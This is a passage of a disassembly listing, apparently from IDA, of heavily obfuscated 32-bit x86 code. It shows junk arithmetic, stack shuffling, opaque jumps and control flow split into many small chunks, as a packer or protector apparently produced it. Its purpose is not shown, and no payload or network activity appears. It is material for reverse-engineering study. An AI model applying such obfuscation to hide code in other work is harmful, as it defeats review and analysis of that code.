		jmp	loc_5A7803
; END OF FUNCTION CHUNK	FOR sub_5A405F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AE7AD:				; CODE XREF: sub_59CBE1+1042Fj
		sub	ebx, 114594B8h
		jmp	loc_5AD022
; END OF FUNCTION CHUNK	FOR sub_59CBE1

; =============== S U B	R O U T	I N E =======================================



sub_5AE7B8	proc near		; CODE XREF: sub_5A489F+835Bj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599901 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AB54 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0855 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3CDA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A3F63 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AA0E5 SIZE 0000000E BYTES

		sub	esp, 4
		jmp	loc_5A0855
sub_5AE7B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AE7C3:				; CODE XREF: sub_5992DA:loc_5A617Cj
		sub	eax, 0CB287027h
		mov	esi, eax
		pop	eax
		add	eax, esi
		jmp	sub_5A9EC5
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE7D2:				; CODE XREF: sub_5AA2D1-3F57j
		neg	esi
		jnz	loc_5A78D0
		neg	esi
		jmp	loc_5A495C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		mov	[esp], edi
		mov	edi, 656C1BD1h
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5AE7E9:				; CODE XREF: sub_5A9EC5+4283j
		mov	edx, [esp+2+var_4+2]
		jmp	loc_599F06
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5AE7F1:				; CODE XREF: sub_59F02F+B54Fj
		xor	edx, 1E013A63h
		jnp	loc_59D397
		dec	edx
		jmp	sub_5A522E
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5AE803:				; CODE XREF: sub_5A917C-5E3Aj
		mov	ecx, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		jmp	loc_5AABE2
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------


loc_5AE80E:				; CODE XREF: sdfs____:005A2BB7j
		push	edx
		mov	edx, 70F2305Bh
		mov	ebx, edx
		pop	edx
		not	ebx
		push	ecx
		mov	ecx, 8F0DCFA0h
		jmp	loc_5A165C

; =============== S U B	R O U T	I N E =======================================



sub_5AE824	proc near		; CODE XREF: sub_5AA2D1+4A65j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 005A403C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A64E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AF0A4 SIZE 00000019 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	eax
		push	27D0664Ah
		pop	eax
		sub	eax, 27D06648h
		mov	ebx, eax
		mov	eax, [esp+8+var_8]
		jmp	loc_5AF0A4
sub_5AE824	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AE843:				; CODE XREF: sub_59D6B8+10FB0j
		pop	esp
		mov	[esp+0], edx
		push	5F3Ch
		mov	[esp+4+var_4], ecx
		push	727F7ABBh
		jmp	loc_5A6F69
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5AE859:				; CODE XREF: sub_5A3992+9j
		xchg	eax, [esp+0]
		pop	esp
		push	edx
		jmp	loc_5AAB85
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE863:				; CODE XREF: sub_5AA2D1+1F9Bj
		mov	eax, [esp+2+var_4+2]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5A5BB9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5AE874:				; CODE XREF: sub_5A580F+A1C5j
		pop	ebp
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 17BE1E85h
		sub	ecx, 293C1BBh
		or	ecx, 6E212367h
		add	ecx, 1F040969h
		sub	ecx, 0E026BA5h
		jmp	loc_59D1D1
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_5AE89B:				; CODE XREF: sub_5A2166+D537j
		add	esi, ebp
		pop	ebp
		push	5394h
		mov	[esp-4+arg_0], edx
		mov	edx, 147768CAh
		add	esi, edx
		pop	edx
		jmp	loc_59AC59
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5AE8B3:				; CODE XREF: sub_5A118F+ABDAj
		add	al, 0F7h
		jmp	loc_59EEBC
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE8BA:				; CODE XREF: sub_5AA2D1-E45Cj
		add	esp, 4
		mov	ebp, esi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		and	[edi+1Ch], ebp
		push	[esp+0Ch+var_C]
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		jmp	loc_59FB81
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AE8EB:				; CODE XREF: sub_59C979+263Cj
		push	esi
		push	ecx
		mov	ecx, 410B0C55h
		mov	esi, 155B1599h
		add	esi, ecx
		mov	ecx, [esp+6+var_6]
		add	esp, 4
		jmp	loc_5A960D
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5AE907:				; CODE XREF: sub_5A4D9D-97D6j
					; sdfs____:0059CEAFj
		add	esi, 4
		jmp	loc_5AF2CE
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599884


loc_5AE912:				; CODE XREF: sub_599884+3F22j
		push	edx
		push	56AE5DDCh
		pop	edx
		sub	edx, 42D51BCCh
		and	edx, 2F6E595Fh
		jmp	loc_5AFCF4
; END OF FUNCTION CHUNK	FOR sub_599884
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE92A:				; CODE XREF: sub_5AA2D1+1C85j
		sub	ebx, 43927389h
		pop	edi
		xchg	ebx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		push	5F10h
		mov	[esp+6+var_8+2], eax
		jmp	loc_5AEB2D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5AE944:				; CODE XREF: sub_59A479+12779j
		sub	[esp+8+var_4], 6C441981h
		add	[esp+8+var_4], edi
		jmp	loc_5A4051
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE955:				; CODE XREF: sub_5A580F-4F63j
					; sub_5AA2D1+5353j
		mov	cx, bp
		pop	ebp
		xor	cx, 301h
		and	cx, 0F8Fh
		neg	cx
		shl	cx, 5
		push	ebx
		mov	bx, 7F49h
		push	bx
		neg	word ptr [esp+8+var_8]
		mov	bx, word ptr [esp+8+var_8]
		jmp	loc_5AFFCD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A35F6


loc_5AE97E:				; CODE XREF: sub_5A35F6+7722j
		pop	esp
		jmp	loc_5A2F31
; END OF FUNCTION CHUNK	FOR sub_5A35F6
; ---------------------------------------------------------------------------


loc_5AE984:				; CODE XREF: sdfs____:0059E3E7j
		xor	ebp, 2F0C0458h
		mov	esi, ebp
		pop	ebp
		xor	esi, 6E0E4078h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	53A2h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5A782D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AE9AF:				; CODE XREF: sub_5A7BA0+5B95j
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		and	eax, ebp
		push	[esp+4+var_4]
		pop	ebp
		push	eax
		push	esp
		pop	eax
		push	7EF5h
		mov	[esp+0Ch+var_C], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_5A1150
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AE9D3:				; CODE XREF: sub_59D6B8+51B4j
					; sub_5A06C1+60FCj
		add	esp, 4
		push	3B61h
		mov	[esp+8+var_8], ebx
		mov	ebx, 33B06196h
		shr	ebx, 6
		push	eax
		jmp	loc_5A542A
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A041B


loc_5AE9EC:				; CODE XREF: sub_5A041B+4B21j
		add	eax, ebp
		pop	ebp
		jmp	sub_5A3992
; END OF FUNCTION CHUNK	FOR sub_5A041B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE40A


loc_5AE9F4:				; CODE XREF: sub_5AE40A-F0EDj
		pop	esi
		jmp	loc_5B01C4
; END OF FUNCTION CHUNK	FOR sub_5AE40A

; =============== S U B	R O U T	I N E =======================================



sub_5AE9FA	proc near		; DATA XREF: sdfs____:00599010o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B75F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A15F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A35CA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AB869 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD1F6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AFECA SIZE 00000021 BYTES

		push	dword ptr [esp+0]
		mov	ecx, [esp+0]
		push	5584h
		mov	[esp+4+var_4], edi
		mov	edi, esp
		push	5503h
		mov	[esp+8+var_8], esi
		push	edx
		mov	edx, 4
		jmp	loc_5A35CA
sub_5AE9FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEA1D:				; CODE XREF: sub_5AA2D1-D09Fj
		push	edx
		push	ebx
		mov	bh, ch
		mov	dl, bh
		mov	ebx, [esp+24h+var_26+2]
		add	esp, 4
		mov	bl, dl
		pop	edx
		mov	al, bl
		pop	ebx
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		jmp	loc_5A3371
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A355D


loc_5AEA40:				; CODE XREF: sub_5A355D+ACEBj
		pop	esp
		mov	[esp+0], eax
		jmp	loc_5AB020
; END OF FUNCTION CHUNK	FOR sub_5A355D
; ---------------------------------------------------------------------------


loc_5AEA49:				; CODE XREF: sdfs____:005A0055j
		xor	eax, ebx
		push	53EAh
		mov	[esp], ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	10BDh
		mov	[esp], ebp
		mov	ebp, 758C22D5h
		jmp	loc_5A6AF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEA81:				; CODE XREF: sub_59F967+3j
					; sub_5AA2D1+2B59j
		pop	ebp
		add	esi, eax
		pop	eax
		dec	esi
		xchg	ecx, esi
		dec	ecx
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		or	esi, 28ED76A0h
		sub	esp, 4
		mov	[esp-1Ah+arg_14+2], edx
		push	ebp
		push	eax
		mov	eax, 121A3DD6h
		add	eax, 1D39093Ah
		jg	loc_5AF416
		or	eax, 2DE16043h
		jmp	loc_5AB059
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		mov	bh, cl
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEAB9:				; CODE XREF: sub_5AA2D1-C26Fj
		mov	[esp-1Ch+arg_18], ebp
		push	esi
		jmp	loc_5A3832
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7508


loc_5AEAC2:				; CODE XREF: sub_5A7508-CC36j
		not	edi
		shr	edi, 3
		jnp	loc_5A8843
		xor	edi, 8415E0Eh
		jz	loc_5A9CCF
; END OF FUNCTION CHUNK	FOR sub_5A7508
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AEAD9:				; CODE XREF: sub_59C979+6EE5j
		mov	bh, dh
		mov	al, bh
		mov	ebx, [esp+0Eh+var_10+2]
		add	esp, 4
		mov	edx, [esp+0Ah+var_A]
		add	esp, 4
		jmp	loc_5A86ED
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BC97


loc_5AEAF1:				; CODE XREF: sub_59BC97+3j
		mov	[esp+4+var_4], edi
		push	ebp
		jmp	loc_59CC3B
; END OF FUNCTION CHUNK	FOR sub_59BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_5AEAFA:				; CODE XREF: sub_5AD84A+DF4j
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		jmp	loc_599656
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEB05:				; CODE XREF: sub_5AA2D1-6855j
		add	ecx, 2DF646EFh
		shr	ecx, 5
		sub	ecx, 0B8569F87h
		jmp	loc_59CD5C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5AEB19:				; CODE XREF: sub_5AC803-F881j
		shl	esi, 6
		dec	esi
		add	esi, 8DEE6BAEh
		mov	edx, esi
		mov	esi, [esp+4+var_4]
		jmp	loc_5AB020
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEB2D:				; CODE XREF: sub_5AA2D1+466Ej
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5AEB32:				; CODE XREF: sub_59F02F+B56Fj
		mov	[esp+10h+var_10], edi
		mov	edi, 400FD558h
		mov	eax, edi
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		xor	edx, eax
		push	[esp+0Ch+var_C]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A6174
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------


loc_5AEB59:				; CODE XREF: sdfs____:005A8873j
		push	3E6Ch
		jmp	loc_59D82F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5AEB63:				; CODE XREF: sub_5ABEF6-9264j
		not	ebp
		jmp	loc_5ACEE7
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5AEB6A:				; CODE XREF: sub_5A5EFF:loc_59E56Dj
		add	edx, 0ED90B0CEh
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 4E15310Dh
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		mov	ebp, 39C666E0h
		not	ebp
		inc	ebp
		push	edi
		mov	edi, 52881F72h
		or	ebp, edi
		pop	edi
		sub	ebp, 0C3F563C9h
		sub	edx, ebp
		jmp	loc_59AA1B
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEBB9:				; CODE XREF: sub_59EE3E-1398j
					; sub_5AA2D1-7171j
		xor	ch, bl
		pop	ebx
		xor	ch, 61h
		jmp	loc_5A9B9A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A68A5


loc_5AEBC4:				; CODE XREF: sub_5A68A5+45E5j
		mov	ebp, 0D046E79Eh
		add	esi, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		sub	esp, 4
		jmp	loc_5A161C
; END OF FUNCTION CHUNK	FOR sub_5A68A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AEBD7:				; CODE XREF: sub_5A477C+1FB4j
		xor	edx, 17654B03h
		jo	loc_5AA6EA
		add	edx, 28120D18h
		ja	loc_5A2794
		shl	edx, 3
		jnz	sub_59F2D1
		push	esi


loc_5AEBF9:				; CODE XREF: sub_5A2E28:loc_59BAE5j
					; sub_5AF294-EB45j
		inc	edi
		not	edi
		jmp	sub_599B07
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEC01:				; CODE XREF: sub_5AA2D1+5AC0j
		mov	edx, edi
		mov	edi, [esp+0]
		add	esp, 4
		add	edi, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		xchg	edi, [esp-8+arg_4]
		jmp	loc_5A7DE4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5AEC1C	proc near		; CODE XREF: sub_5A18F6+51FDj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A0522 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A294F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5E41 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A9661 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	ebx
		jmp	loc_5A5E41
sub_5AEC1C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_5AEC34:				; CODE XREF: sub_5A2166+68F9j
		mov	[esp+0], edx
		mov	edx, 6CA5919h
		jmp	loc_5A3B6F
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEC41:				; CODE XREF: sub_5AA2D1:loc_5A5C6Aj
		not	edx
		add	edx, 73704C46h
		jmp	loc_5A9074
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5AEC4E:				; CODE XREF: sub_59ED98+26E0j
		sub	bl, dl
		jmp	loc_5ADC28
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEC55:				; CODE XREF: sub_5AA2D1-ED46j
		push	352702EBh
		pop	esi
		sub	ebx, 1CCA56E3h
		sub	ebx, 7B064ACh
		sub	ebx, esi
		sub	esp, 4
		jmp	loc_5A7ACC
; ---------------------------------------------------------------------------


loc_5AEC74:				; CODE XREF: sub_5AA2D1+40D8j
		mov	ch, 9Ah
		jmp	loc_59DE9C
; ---------------------------------------------------------------------------


loc_5AEC7B:				; CODE XREF: sub_5AA2D1-A07Aj
		sub	esi, 3133018Dh
		pop	eax
		jmp	loc_59A9F4
; ---------------------------------------------------------------------------


loc_5AEC87:				; CODE XREF: sub_5AA2D1-CB68j
		pop	eax
		add	bl, 59h
		jmp	loc_5A853A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AEC90:				; CODE XREF: sub_5992DA+5D95j
		xchg	ebx, edx
		push	458Fh
		mov	[esp+10h+var_10], ebx
		push	ecx
		jmp	loc_5A34EE
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD336


loc_5AECA0:				; CODE XREF: sub_5AD336+Aj
		push	esi
		mov	esi, esp
		jmp	loc_5A4A9F
; END OF FUNCTION CHUNK	FOR sub_5AD336
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A317A


loc_5AECA8:				; CODE XREF: sub_5A317A-34A2j
		pop	esi
		push	eax
		mov	eax, 45D2197Dh
		sub	esi, eax
		pop	eax
		add	esi, eax
		push	ebp
		mov	ebp, 45D2197Dh
		add	esi, ebp
		pop	ebp
		pop	eax
		push	ebx
		push	eax
		mov	eax, 2
		mov	ebx, eax
		pop	eax
		add	esi, ebx
		mov	ebx, [esp+0]
		jmp	loc_5ACAB8
; END OF FUNCTION CHUNK	FOR sub_5A317A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_5AECD2:				; CODE XREF: sub_5A3E64-A790j
		push	2CDCh
		jmp	loc_59A818
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5AECDC:				; CODE XREF: sub_5AD993-1417Dj
		sub	dh, ah
		pop	eax
		add	al, 58h
		sub	al, dh
		jmp	loc_5AC75C
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AECE8:				; CODE XREF: sub_5A6BBC+75E1j
		movzx	cx, ah
		push	7F98h
		jmp	loc_5A4E4C
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2F58


loc_5AECF6:				; CODE XREF: sub_5A2F58+C57j
		add	al, 2Eh
		pop	cx
		jmp	sub_5AA52F
; END OF FUNCTION CHUNK	FOR sub_5A2F58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AECFF:				; CODE XREF: sub_5AA2D1:loc_5A095Cj
		add	eax, (offset loc_5A0B9D+4)
		push	ebp
		mov	ebp, 274058h
		sub	eax, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	6484h
		jmp	loc_5B00EA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A96D8


loc_5AED1F:				; CODE XREF: sub_5A96D8-81D2j
		or	ebx, 1D8B5011h
		jmp	sub_59A986
; END OF FUNCTION CHUNK	FOR sub_5A96D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AED2A:				; CODE XREF: sub_5ADD33-3F4Ej
		xor	esi, 9AEDFC9Bh
		jmp	loc_599597
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AED35:				; CODE XREF: sub_5AA2D1-458Cj
		pop	ebx
		jmp	sub_5AE824
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AED3B:				; CODE XREF: sdfs____:005AAC21j
					; sub_5A477C+AC72j
		shl	ecx, 2
		add	ecx, 6BA50714h
		xor	ecx, 2BB5DFB7h
		add	eax, 7A986E5Ch
		add	eax, ecx
		sub	eax, 7A986E5Ch
		jmp	loc_5A5155
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5AED5B:				; CODE XREF: sub_5AF2D9-3647j
		and	cl, 7Eh
		push	dx
		mov	dh, cl
		neg	dh
		mov	cl, dh
		pop	dx
		jmp	loc_5A43F8
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AED6D:				; CODE XREF: sub_5AA2D1-8601j
		jp	loc_5A6E61
		sub	esp, 2
		mov	word ptr [esp+0Ch+var_C], bx
		mov	bh, 66h
		jmp	loc_5AAA53
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AED81:				; CODE XREF: sub_5A7BA0-6A37j
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		or	eax, eax
		jz	loc_59ED0B
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp+0Ch+var_C]
		push	711Eh
		jmp	loc_5A6783
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------


loc_5AEDA3:				; CODE XREF: sdfs____:005A67A0j
		add	eax, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		jmp	loc_59E3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AEDB7:				; CODE XREF: sub_5992DA+1628Fj
		jmp	loc_599CAB
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AEDBC:				; CODE XREF: sdfs____:005A1920j
					; sub_5ADD33+7A0j
		mov	ebp, 2
		sub	eax, 1C426677h
		add	eax, ebp
		add	eax, 1C426677h
		jmp	loc_5A46D4
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8E3E


loc_5AEDD2:				; CODE XREF: sub_5A8E3E-6527j
		add	edi, 7080B1F1h
		mov	esi, edi
		pop	edi
		neg	esi
		jmp	loc_5ABC03
; END OF FUNCTION CHUNK	FOR sub_5A8E3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59982C


loc_5AEDE2:				; CODE XREF: sub_59982C+8145j
		mov	[esp+8+var_8], ebx
		push	eax
		push	2F5129CCh
		push	[esp+10h+var_10]
		pop	eax
		jmp	loc_5A0E84
; END OF FUNCTION CHUNK	FOR sub_59982C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A633D


loc_5AEDF4:				; CODE XREF: sub_5A633D-BF25j
		pop	ecx
		add	esp, 4
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		push	ebp
		push	ecx
		jmp	loc_5A2CEC
; END OF FUNCTION CHUNK	FOR sub_5A633D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A765F


loc_5AEE08:				; CODE XREF: sub_5A765F+3A7Cj
		push	ecx
		push	dword ptr [esp-4+arg_4]
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_59CAEF
; END OF FUNCTION CHUNK	FOR sub_5A765F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AEE1B:				; CODE XREF: sub_5992DA+16747j
		pop	edi
		sub	esi, 4A084255h
		add	esi, ecx
		add	esi, 4A084255h
		pop	ecx
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		pop	esi
		push	esi
		xchg	ecx, [esp+0]
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		pop	esi
		xchg	eax, esi
		jmp	loc_59E2E4
; ---------------------------------------------------------------------------


loc_5AEE4A:				; CODE XREF: sub_5992DA+5EE4j
		push	[esp+24h+var_26+2]
		push	[esp+28h+var_2A+2]
		push	[esp+2Ch+var_2E+2]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_59C704
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5AEE62:				; CODE XREF: sub_5A522E-28A2j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A02F8
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
